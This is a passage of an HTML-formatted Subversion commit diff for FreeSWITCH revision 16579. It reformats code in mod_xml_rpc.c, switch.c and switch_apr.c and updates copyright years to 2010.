</del><ins>+
+        if (!user_attributes(user, domain_name, NULL, NULL, NULL, &amp;allowed_commands)) {
</ins><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -295,21 +294,21 @@
</span><span class="cx">                 return FALSE;
</span><span class="cx"> 
</span><span class="cx">         dup = allowed_commands;
</span><del>-        argc = switch_separate_string (dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</del><ins>+        argc = switch_separate_string(dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</ins><span class="cx"> 
</span><span class="cx">         for (i = 0; i &lt; argc; i++) {
</span><span class="cx">                 if (!strcasecmp(argv[i], command)
</span><del>-                    || !strcasecmp(argv[i], &quot;any&quot;)) {
</del><ins>+                        || !strcasecmp(argv[i], &quot;any&quot;)) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_safe_free (dup);
</del><ins>+        switch_safe_free(dup);
</ins><span class="cx"> 
</span><span class="cx">         return i &lt; argc ? TRUE : FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static abyss_bool http_directory_auth(TSession *r, char *domain_name)
</del><ins>+static abyss_bool http_directory_auth(TSession * r, char *domain_name)
</ins><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="cx">         char *x;
</span><span class="lines">@@ -321,7 +320,7 @@
</span><span class="cx">         int at = 0;
</span><span class="cx">         char *dp;
</span><span class="cx">         abyss_bool rval = FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         p = RequestHeaderValue(r, &quot;authorization&quot;);
</span><span class="cx"> 
</span><span class="cx">         if (p) {
</span><span class="lines">@@ -334,13 +333,13 @@
</span><span class="cx">                                 if ((pass = strchr(user, ':'))) {
</span><span class="cx">                                         *pass++ = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((dp = strchr(user, '@'))) {
</span><span class="cx">                                         *dp++ = '\0';
</span><span class="cx">                                         domain_name = dp;
</span><span class="cx">                                         at++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!domain_name) {
</span><span class="cx">                                         if (globals.virtual_host) {
</span><span class="cx">                                                 if ((domain_name = (char *) r-&gt;requestInfo.host)) {
</span><span class="lines">@@ -375,7 +374,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                if (!user_attributes (user, domain_name, &amp;mypass1, &amp;mypass2, &amp;box, NULL)) {
</del><ins>+                                if (!user_attributes(user, domain_name, &amp;mypass1, &amp;mypass2, &amp;box, NULL)) {
</ins><span class="cx">                                         goto fail;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -441,7 +440,7 @@
</span><span class="cx">                                 goto fail;
</span><span class="cx"> 
</span><span class="cx">                           authed:
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_snprintf(z, sizeof(z), &quot;%s@%s&quot;, (box ? box : user), domain_name);
</span><span class="cx">                                 r-&gt;requestInfo.user = strdup(z);
</span><span class="cx"> 
</span><span class="lines">@@ -453,18 +452,18 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- fail:
</del><ins>+  fail:
</ins><span class="cx"> 
</span><span class="cx">         switch_snprintf(z, sizeof(z), &quot;Basic realm=\&quot;%s\&quot;&quot;, domain_name ? domain_name : globals.realm);
</span><span class="cx">         ResponseAddField(r, &quot;WWW-Authenticate&quot;, z);
</span><span class="cx">         ResponseStatus(r, 401);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(mypass1);
</span><span class="cx">         switch_safe_free(mypass2);
</span><span class="cx">         switch_safe_free(box);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return rval;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -614,7 +613,6 @@
</span><span class="cx">         if (is_authorized(r, command)) {
</span><span class="cx">                 goto auth;
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         //unauth:
</span><span class="cx">         ResponseStatus(r, 403);
</span><span class="cx">         ResponseError(r);
</span><span class="lines">@@ -626,7 +624,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (switch_event_create(&amp;stream.param_event, SWITCH_EVENT_API) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *const content_length = RequestHeaderValue(r, &quot;content-length&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (html)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;Content-type&quot;, &quot;text/html&quot;);
</span><span class="cx">                 else if (text)
</span><span class="lines">@@ -639,7 +637,7 @@
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;FreeSWITCH-Domain&quot;, fs_domain);
</span><span class="cx">                 if (path_info)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;HTTP-Path-Info&quot;, path_info);
</span><del>-                        switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;HTTP-URI&quot;, r-&gt;requestInfo.uri);
</del><ins>+                switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;HTTP-URI&quot;, r-&gt;requestInfo.uri);
</ins><span class="cx">                 if (r-&gt;requestInfo.query)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, &quot;HTTP-QUERY&quot;, r-&gt;requestInfo.query);
</span><span class="cx">                 if (r-&gt;requestInfo.host)
</span><span class="lines">@@ -827,7 +825,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!is_authorized((const TSession *)callInfo, command)) {
</del><ins>+        if (!is_authorized((const TSession *) callInfo, command)) {
</ins><span class="cx">                 val = xmlrpc_build_value(envP, &quot;s&quot;, &quot;UNAUTHORIZED!&quot;);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -838,7 +836,7 @@
</span><span class="cx">                 freed = 1;
</span><span class="cx">                 command = &quot;bgapi&quot;;
</span><span class="cx">                 arg = &quot;unload mod_xml_rpc&quot;;
</span><del>-        } else         if (switch_stristr(&quot;reload&quot;, command) &amp;&amp; switch_stristr(&quot;mod_xml_rpc&quot;, arg)) {
</del><ins>+        } else if (switch_stristr(&quot;reload&quot;, command) &amp;&amp; switch_stristr(&quot;mod_xml_rpc&quot;, arg)) {
</ins><span class="cx">                 switch_safe_free(command);
</span><span class="cx">                 switch_safe_free(arg);
</span><span class="cx">                 freed = 1;
</span><span class="lines">@@ -855,7 +853,7 @@
</span><span class="cx">                 val = xmlrpc_build_value(envP, &quot;s&quot;, &quot;ERROR!&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         /* xmlrpc-c requires us to free memory it malloced from xmlrpc_decompose_value */
</span><span class="cx">         if (!freed) {
</span><span class="lines">@@ -977,7 +975,7 @@
</span><span class="cx">         //globals.abyssServer.running = 0;
</span><span class="cx">         //shutdown(globals.abyssServer.listensock, 2);
</span><span class="cx">         ServerTerminate(&amp;globals.abyssServer);
</span><del>-        
</del><ins>+
</ins><span class="cx">         do {
</span><span class="cx">                 switch_yield(100000);
</span><span class="cx">         } while (globals.running);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitchc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -102,8 +102,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* pull the pid from the file */
</span><del>-        if (fscanf(f, &quot;%d&quot;, (int *)(intptr_t)&amp;pid)!=1) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,&quot;Unable to get the pid!\n&quot;);
</del><ins>+        if (fscanf(f, &quot;%d&quot;, (int *) (intptr_t) &amp; pid) != 1) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to get the pid!\n&quot;);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* if we have a valid pid */
</span><span class="lines">@@ -203,19 +203,20 @@
</span><span class="cx"> 
</span><span class="cx"> #else
</span><span class="cx"> 
</span><del>-void daemonize(void) {
</del><ins>+void daemonize(void)
+{
</ins><span class="cx">         int fd;
</span><span class="cx">         pid_t pid;
</span><span class="cx"> 
</span><span class="cx">         switch (fork()) {
</span><del>-                case 0:
-                        break;
-                case -1:
-                        fprintf(stderr, &quot;Error Backgrounding (fork)! %d - %s\n&quot;, errno, strerror(errno));
-                        exit(0);
-                        break;
-                default:
-                        exit(0);
</del><ins>+        case 0:
+                break;
+        case -1:
+                fprintf(stderr, &quot;Error Backgrounding (fork)! %d - %s\n&quot;, errno, strerror(errno));
+                exit(0);
+                break;
+        default:
+                exit(0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (setsid() &lt; 0) {
</span><span class="lines">@@ -224,15 +225,15 @@
</span><span class="cx">         }
</span><span class="cx">         pid = fork();
</span><span class="cx">         switch (pid) {
</span><del>-                case 0:
-                        break;
-                case -1:
-                        fprintf(stderr, &quot;Error Backgrounding (fork2)! %d - %s\n&quot;, errno, strerror(errno));
-                        exit(0);
-                        break;
-                default:
-                        fprintf(stderr, &quot;%d Backgrounding.\n&quot;, (int) pid);
-                        exit(0);
</del><ins>+        case 0:
+                break;
+        case -1:
+                fprintf(stderr, &quot;Error Backgrounding (fork2)! %d - %s\n&quot;, errno, strerror(errno));
+                exit(0);
+                break;
+        default:
+                fprintf(stderr, &quot;%d Backgrounding.\n&quot;, (int) pid);
+                exit(0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* redirect std* to null */
</span><span class="lines">@@ -272,7 +273,7 @@
</span><span class="cx"> #endif
</span><span class="cx">         int nc = 0;                                        /* TRUE if we are running in noconsole mode */
</span><span class="cx">         pid_t pid = 0;
</span><del>-        int i,x;
</del><ins>+        int i, x;
</ins><span class="cx">         char *opts;
</span><span class="cx">         char opts_str[1024] = &quot;&quot;;
</span><span class="cx">         char *local_argv[1024] = { 0 };
</span><span class="lines">@@ -320,14 +321,11 @@
</span><span class="cx">                 &quot;\t-uninstall             -- remove freeswitch as a service\n&quot;
</span><span class="cx"> #else
</span><span class="cx">                 &quot;\t-nf                    -- no forking\n&quot;
</span><del>-                &quot;\t-u [user]              -- specify user to switch to\n&quot;
-                &quot;\t-g [group]             -- specify group to switch to\n&quot;
</del><ins>+                &quot;\t-u [user]              -- specify user to switch to\n&quot; &quot;\t-g [group]             -- specify group to switch to\n&quot;
</ins><span class="cx"> #endif
</span><del>-                &quot;\t-help                  -- this message\n&quot;
-                &quot;\t-version               -- print the version and exit\n&quot;
</del><ins>+                &quot;\t-help                  -- this message\n&quot; &quot;\t-version               -- print the version and exit\n&quot;
</ins><span class="cx"> #ifdef HAVE_SETRLIMIT
</span><del>-                &quot;\t-waste                 -- allow memory waste\n&quot;
-                &quot;\t-core                  -- dump cores\n&quot;
</del><ins>+                &quot;\t-waste                 -- allow memory waste\n&quot; &quot;\t-core                  -- dump cores\n&quot;
</ins><span class="cx"> #endif
</span><span class="cx">                 &quot;\t-hp                    -- enable high priority settings\n&quot;
</span><span class="cx">                 &quot;\t-vg                    -- run under valgrind\n&quot;
</span><span class="lines">@@ -344,8 +342,7 @@
</span><span class="cx">                 &quot;\t-run [rundir]          -- specify an alternate run dir\n&quot;
</span><span class="cx">                 &quot;\t-db [dbdir]            -- specify an alternate db dir\n&quot;
</span><span class="cx">                 &quot;\t-mod [moddir]          -- specify an alternate mod dir\n&quot;
</span><del>-                &quot;\t-htdocs [htdocsdir]    -- specify an alternate htdocs dir\n&quot;
-                &quot;\t-scripts [scriptsdir]  -- specify an alternate scripts dir\n&quot;;
</del><ins>+                &quot;\t-htdocs [htdocsdir]    -- specify an alternate htdocs dir\n&quot; &quot;\t-scripts [scriptsdir]  -- specify an alternate scripts dir\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">         for (x = 1; x &lt; local_argc; x++) {
</span><span class="cx">                 known_opt = 0;
</span><span class="lines">@@ -375,20 +372,14 @@
</span><span class="cx">                                 known_opt++;
</span><span class="cx">                                 GetModuleFileName(NULL, exePath, 1024);
</span><span class="cx">                                 snprintf(servicePath, sizeof(servicePath), &quot;%s -service %s&quot;, exePath, service_name);
</span><del>-                                { /* Perform service installation */
-                                        SC_HANDLE hService; 
</del><ins>+                                {                                /* Perform service installation */
+                                        SC_HANDLE hService;
</ins><span class="cx">                                         SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
</span><span class="cx">                                         if (!hSCManager) {
</span><span class="cx">                                                 fprintf(stderr, &quot;Could not open service manager (%d).\n&quot;, GetLastError());
</span><span class="cx">                                                 exit(1);
</span><span class="cx">                                         }
</span><del>-                                        hService = CreateService(hSCManager,
-                                                                                          service_name,
-                                                                                         service_name,
-                                                                                         GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG,
-                                                                                         SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, 
-                                                                                         servicePath, NULL, NULL, NULL,
-                                                                                         NULL,  /* Service start name */
</del><ins>+                                        hService = CreateService(hSCManager, service_name, service_name, GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, servicePath, NULL, NULL, NULL, NULL,        /* Service start name */
</ins><span class="cx">                                                                                          NULL);
</span><span class="cx">                                         if (!hService) {
</span><span class="cx">                                                 fprintf(stderr, &quot;Error creating freeswitch service (%d).\n&quot;, GetLastError());
</span><span class="lines">@@ -413,7 +404,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
</span><span class="cx">                                 }
</span><del>-                                { /* Do the uninstallation */
</del><ins>+                                {                                /* Do the uninstallation */
</ins><span class="cx">                                         SC_HANDLE hService;
</span><span class="cx">                                         SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
</span><span class="cx">                                         if (!hSCManager) {
</span><span class="lines">@@ -436,7 +427,6 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #else
</span><span class="cx">                 if (local_argv[x] &amp;&amp; !strcmp(local_argv[x], &quot;-u&quot;)) {
</span><span class="cx">                         x++;
</span><span class="lines">@@ -464,7 +454,6 @@
</span><span class="cx">                         return 0;
</span><span class="cx">                         known_opt++;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> #ifdef HAVE_SETRLIMIT
</span><span class="cx">                 if (local_argv[x] &amp;&amp; !strcmp(local_argv[x], &quot;-core&quot;)) {
</span><span class="lines">@@ -563,7 +552,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         known_opt++;
</span><span class="cx">                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                 if (local_argv[x] &amp;&amp; !strcmp(local_argv[x], &quot;-log&quot;)) {
</span><span class="cx">                         x++;
</span><span class="cx">                         if (local_argv[x] &amp;&amp; strlen(local_argv[x])) {
</span><span class="lines">@@ -653,7 +642,7 @@
</span><span class="cx">                         exit(0);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (log_set &amp;&amp; !run_set) {
</span><span class="cx">                 SWITCH_GLOBAL_dirs.run_dir = (char *) malloc(strlen(SWITCH_GLOBAL_dirs.log_dir) + 1);
</span><span class="cx">                 if (!SWITCH_GLOBAL_dirs.run_dir) {
</span><span class="lines">@@ -689,7 +678,6 @@
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if defined(HAVE_SETRLIMIT) &amp;&amp; !defined(__sun)
</span><span class="cx">         if (!waste &amp;&amp; !(flags &amp; SCF_VG)) {
</span><span class="cx">                 memset(&amp;rlp, 0, sizeof(rlp));
</span><span class="lines">@@ -698,8 +686,8 @@
</span><span class="cx">                         char buf[1024] = &quot;&quot;;
</span><span class="cx">                         int i = 0;
</span><span class="cx"> 
</span><del>-                        fprintf(stderr, &quot;Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n&quot;, 
-                                        (int)(rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
</del><ins>+                        fprintf(stderr, &quot;Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n&quot;,
+                                        (int) (rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
</ins><span class="cx"> 
</span><span class="cx">                         memset(&amp;rlp, 0, sizeof(rlp));
</span><span class="cx">                         rlp.rlim_cur = SWITCH_THREAD_STACKSIZE;
</span><span class="lines">@@ -707,14 +695,14 @@
</span><span class="cx">                         setrlimit(RLIMIT_STACK, &amp;rlp);
</span><span class="cx"> 
</span><span class="cx">                         apr_terminate();
</span><del>-                        ret = (int)execv(argv[0], argv);
-                        
-                        for(i = 0; i &lt; argc; i++) {
</del><ins>+                        ret = (int) execv(argv[0], argv);
+
+                        for (i = 0; i &lt; argc; i++) {
</ins><span class="cx">                                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;%s &quot;, argv[i]);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         return system(buf);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -732,15 +720,16 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         if (runas_user || runas_group) {
</span><span class="cx">                 if (change_user_group(runas_user, runas_group) &lt; 0) {
</span><del>-                        fprintf(stderr, &quot;Failed to switch user / group\n&quot; );
</del><ins>+                        fprintf(stderr, &quot;Failed to switch user / group\n&quot;);
</ins><span class="cx">                         return 255;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #else
</span><span class="cx">         if (win32_service) {
</span><del>-                { /* Attempt to start service */
</del><ins>+                {                                                /* Attempt to start service */
</ins><span class="cx">                         SERVICE_TABLE_ENTRY dispatchTable[] = {
</span><del>-                                {service_name, &amp;service_main},
</del><ins>+                                {service_name, &amp;service_main}
+                                ,
</ins><span class="cx">                                 {NULL, NULL}
</span><span class="cx">                         };
</span><span class="cx">                         if (StartServiceCtrlDispatcher(dispatchTable) == 0) {
</span><span class="lines">@@ -763,14 +752,10 @@
</span><span class="cx">         pid_len = strlen(pid_buffer);
</span><span class="cx"> 
</span><span class="cx">         apr_pool_create(&amp;pool, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_dir_make_recursive(SWITCH_GLOBAL_dirs.run_dir, SWITCH_DEFAULT_DIR_PERMS, pool);
</span><span class="cx"> 
</span><del>-        if (switch_file_open(&amp;fd,
-                                                 pid_path,
-                                                 SWITCH_FOPEN_READ,
-                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
-                                                 pool) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_file_open(&amp;fd, pid_path, SWITCH_FOPEN_READ, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx"> 
</span><span class="cx">                 old_pid_len = sizeof(old_pid_buffer);
</span><span class="cx">                 switch_file_read(fd, old_pid_buffer, &amp;old_pid_len);
</span><span class="lines">@@ -780,8 +765,7 @@
</span><span class="cx">         if (switch_file_open(&amp;fd,
</span><span class="cx">                                                  pid_path,
</span><span class="cx">                                                  SWITCH_FOPEN_WRITE | SWITCH_FOPEN_CREATE | SWITCH_FOPEN_TRUNCATE,
</span><del>-                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
-                                                 pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 fprintf(stderr, &quot;Cannot open pid file %s.\n&quot;, pid_path);
</span><span class="cx">                 return 255;
</span><span class="cx">         }
</span><span class="lines">@@ -805,7 +789,7 @@
</span><span class="cx">         switch_core_runtime_loop(nc);
</span><span class="cx"> 
</span><span class="cx">         destroy_status = switch_core_destroy();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_file_close(fd);
</span><span class="cx"> 
</span><span class="cx">         if (unlink(pid_path) != 0) {
</span><span class="lines">@@ -815,12 +799,12 @@
</span><span class="cx">         if (destroy_status == SWITCH_STATUS_RESTART) {
</span><span class="cx">                 char buf[1024] = &quot;&quot;;
</span><span class="cx">                 int j = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_sleep(1000000);
</span><del>-                ret = (int)execv(argv[0], argv);
</del><ins>+                ret = (int) execv(argv[0], argv);
</ins><span class="cx">                 fprintf(stderr, &quot;Restart Failed [%s] resorting to plan b\n&quot;, strerror(errno));
</span><span class="cx"> 
</span><del>-                for(j = 0; j &lt; argc; j++) {
</del><ins>+                for (j = 0; j &lt; argc; j++) {
</ins><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;%s &quot;, argv[j]);
</span><span class="cx">                 }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_aprc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_apr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_apr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_apr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -75,13 +75,13 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         return apr_os_thread_current();
</span><span class="cx"> #else
</span><del>-        return (switch_thread_id_t)(GetCurrentThreadId());
</del><ins>+        return (switch_thread_id_t) (GetCurrentThreadId());
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_thread_equal(switch_thread_id_t tid1, switch_thread_id_t tid2)
</span><span class="cx"> {
</span><del>-#ifdef WIN32 
</del><ins>+#ifdef WIN32
</ins><span class="cx">         return (tid1 == tid2);
</span><span class="cx"> #else
</span><span class="cx">         return apr_os_thread_equal(tid1, tid2);
</span><span class="lines">@@ -95,26 +95,24 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(unsigned int) switch_ci_hashfunc_default(const char *char_key, switch_ssize_t *klen)
</span><del>-                                                                                                                
</del><span class="cx"> {
</span><del>-    unsigned int hash = 0;
-    const unsigned char *key = (const unsigned char *)char_key;
-    const unsigned char *p;
-    apr_ssize_t i;
-    
-    if (*klen == APR_HASH_KEY_STRING) {
-        for (p = key; *p; p++) {
-            hash = hash * 33 + tolower(*p);
-        }
-        *klen = p - key;
-    }
-    else {
-        for (p = key, i = *klen; i; i--, p++) {
-            hash = hash * 33 + tolower(*p);
-        }
-    }
</del><ins>+        unsigned int hash = 0;
+        const unsigned char *key = (const unsigned char *) char_key;
+        const unsigned char *p;
+        apr_ssize_t i;
</ins><span class="cx"> 
</span><del>-    return hash;
</del><ins>+        if (*klen == APR_HASH_KEY_STRING) {
+                for (p = key; *p; p++) {
+                        hash = hash * 33 + tolower(*p);
+                }
+                *klen = p - key;
+        } else {
+                for (p = key, i = *klen; i; i--, p++) {
+                        hash = hash * 33 + tolower(*p);
+                }
+        }
+
+        return hash;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -125,7 +123,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* DSO functions */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx)
</ins><span class="cx"> {
</span><span class="cx">         return apr_dso_load(res_handle, path, ctx);
</span><span class="cx"> }
</span><span class="lines">@@ -150,44 +148,45 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_strftime(char *s, switch_size_t *retsize, switch_size_t max, const char *format, switch_time_exp_t *tm)
</span><span class="cx"> {
</span><span class="cx">         const char *p = format;
</span><del>-        
-        if (!p) return SWITCH_STATUS_FALSE;
</del><span class="cx"> 
</span><ins>+        if (!p)
+                return SWITCH_STATUS_FALSE;
+
</ins><span class="cx">         while (*p) {
</span><span class="cx">                 if (*p == '%') {
</span><span class="cx">                         switch (*(++p)) {
</span><del>-            case 'C':
-            case 'D':
-            case 'r':
-            case 'R':
-            case 'T':
-            case 'e':
-            case 'a':
-            case 'A':
-            case 'b':
-            case 'B':
-            case 'c':
-            case 'd':
-            case 'H':
-            case 'I':
-            case 'j':
-            case 'm':
-            case 'M':
-            case 'p':
-            case 'S':
-            case 'U':
-            case 'w':
-            case 'W':
-            case 'x':
-            case 'X':
-            case 'y':
-            case 'Y':
-            case 'z':
-            case 'Z':
-            case '%':
</del><ins>+                        case 'C':
+                        case 'D':
+                        case 'r':
+                        case 'R':
+                        case 'T':
+                        case 'e':
+                        case 'a':
+                        case 'A':
+                        case 'b':
+                        case 'B':
+                        case 'c':
+                        case 'd':
+                        case 'H':
+                        case 'I':
+                        case 'j':
+                        case 'm':
+                        case 'M':
+                        case 'p':
+                        case 'S':
+                        case 'U':
+                        case 'w':
+                        case 'W':
+                        case 'x':
+                        case 'X':
+                        case 'y':
+                        case 'Y':
+                        case 'z':
+                        case 'Z':
+                        case '%':
</ins><span class="cx">                                 p++;
</span><span class="cx">                                 continue;
</span><del>-            case '\0':
</del><ins>+                        case '\0':
</ins><span class="cx">                         default:
</span><span class="cx">                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -231,7 +230,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* thread read write lock functions */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_rwlock_create(rwlock, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -289,7 +288,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* thread mutex functions */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         return apr_thread_mutex_create(lock, flags, pool);
</span><span class="cx"> }
</span><span class="lines">@@ -329,12 +328,12 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt_get(switch_time_t *result, switch_time_exp_t *input)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_gmt_get((apr_time_t *)result, (apr_time_exp_t *) input);
</del><ins>+        return apr_time_exp_gmt_get((apr_time_t *) result, (apr_time_exp_t *) input);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_get(switch_time_t *result, switch_time_exp_t *input)
</span><span class="cx"> {
</span><del>-        return apr_time_exp_get((apr_time_t *)result, (apr_time_exp_t *) input);
</del><ins>+        return apr_time_exp_get((apr_time_t *) result, (apr_time_exp_t *) input);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_lt(switch_time_exp_t *result, switch_time_t input)
</span><span class="lines">@@ -344,7 +343,7 @@
</span><span class="cx"> 
